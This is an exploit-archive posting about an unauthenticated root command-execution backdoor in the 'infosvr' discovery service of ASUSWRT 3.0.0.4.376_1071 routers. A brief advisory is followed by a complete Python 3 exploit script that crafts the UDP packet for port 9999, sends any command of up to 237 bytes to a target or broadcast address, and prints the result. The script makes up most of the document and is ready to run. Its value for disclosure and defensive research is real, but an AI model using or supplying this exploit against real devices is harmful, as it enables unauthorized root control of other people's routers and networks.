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ASUSWRT 3.0.0.4.376_1071 LAN Backdoor Command Execution

ASUSWRT 3.0.0.4.376_1071 LAN Backdoor Command Execution
Posted Jan 5, 2015
Authored by Friedrich Postelstorfer

ASUSWRT version 3.0.0.4.376_1071 suffers from a remote command execution vulnerability. A service called "infosvr" listens on port 9999 on the LAN bridge. Normally this service is used for device discovery using the "ASUS Wireless Router Device Discovery Utility", but this service contains a feature that allows an unauthenticated user on the LAN to execute commands less than or equal to 237 bytes as root. Source code is in asuswrt/release/src/router/infosvr. "iboxcom.h" is in asuswrt/release/src/router/shared.

tags | exploit, remote, root
SHA-256 | 19b4ec9b8aeb757d1ba6967c45ecef08879b6f6af70c1229a469d514f5078599

ASUSWRT 3.0.0.4.376_1071 LAN Backdoor Command Execution

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#!/usr/bin/env python3

# Exploit Title: ASUSWRT 3.0.0.4.376_1071 LAN Backdoor Command Execution
# Date: 2014-10-11
# Vendor Homepage: http://www.asus.com/
# Software Link: http://dlcdnet.asus.com/pub/ASUS/wireless/RT-N66U_B1/FW_RT_N66U_30043762524.zip
# Source code: http://dlcdnet.asus.com/pub/ASUS/wireless/RT-N66U_B1/GPL_RT_N66U_30043762524.zip
# Tested Version: 3.0.0.4.376_1071-g8696125
# Tested Device: RT-N66U

# Description:
# A service called "infosvr" listens on port 9999 on the LAN bridge.
# Normally this service is used for device discovery using the
# "ASUS Wireless Router Device Discovery Utility", but this service contains a
# feature that allows an unauthenticated user on the LAN to execute commands
# <= 237 bytes as root. Source code is in asuswrt/release/src/router/infosvr.
# "iboxcom.h" is in asuswrt/release/src/router/shared.
#
# Affected devices may also include wireless repeaters and other networking
# products, especially the ones which have "Device Discovery" in their features
# list.
#
# Using broadcast address as the IP address should work and execute the command
# on all devices in the network segment, but only receiving one response is
# supported by this script.

import sys, os, socket, struct


PORT = 9999

if len(sys.argv) < 3:
print('Usage: ' + sys.argv[0] + ' <ip> <command>', file=sys.stderr)
sys.exit(1)


ip = sys.argv[1]
cmd = sys.argv[2]

enccmd = cmd.encode()

if len(enccmd) > 237:
# Strings longer than 237 bytes cause the buffer to overflow and possibly crash the server.
print('Values over 237 will give rise to undefined behaviour.', file=sys.stderr)
sys.exit(1)

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.bind(('0.0.0.0', PORT))
sock.settimeout(2)

# Request consists of following things
# ServiceID [byte] ; NET_SERVICE_ID_IBOX_INFO
# PacketType [byte] ; NET_PACKET_TYPE_CMD
# OpCode [word] ; NET_CMD_ID_MANU_CMD
# Info [dword] ; Comment: "Or Transaction ID"
# MacAddress [byte[6]] ; Double-wrongly "checked" with memcpy instead of memcmp
# Password [byte[32]] ; Not checked at all
# Length [word]
# Command [byte[420]] ; 420 bytes in struct, 256 - 19 unusable in code = 237 usable

packet = (b'\x0C\x15\x33\x00' + os.urandom(4) + (b'\x00' * 38) + struct.pack('<H', len(enccmd)) + enccmd).ljust(512, b'\x00')

sock.sendto(packet, (ip, PORT))


# Response consists of following things
# ServiceID [byte] ; NET_SERVICE_ID_IBOX_INFO
# PacketType [byte] ; NET_PACKET_TYPE_RES
# OpCode [word] ; NET_CMD_ID_MANU_CMD
# Info [dword] ; Equal to Info of request
# MacAddress [byte[6]] ; Filled in for us
# Length [word]
# Result [byte[420]] ; Actually returns that amount

while True:
data, addr = sock.recvfrom(512)

if len(data) == 512 and data[1] == 22:
break

length = struct.unpack('<H', data[14:16])[0]
s = slice(16, 16+length)
sys.stdout.buffer.write(data[s])

sock.close()

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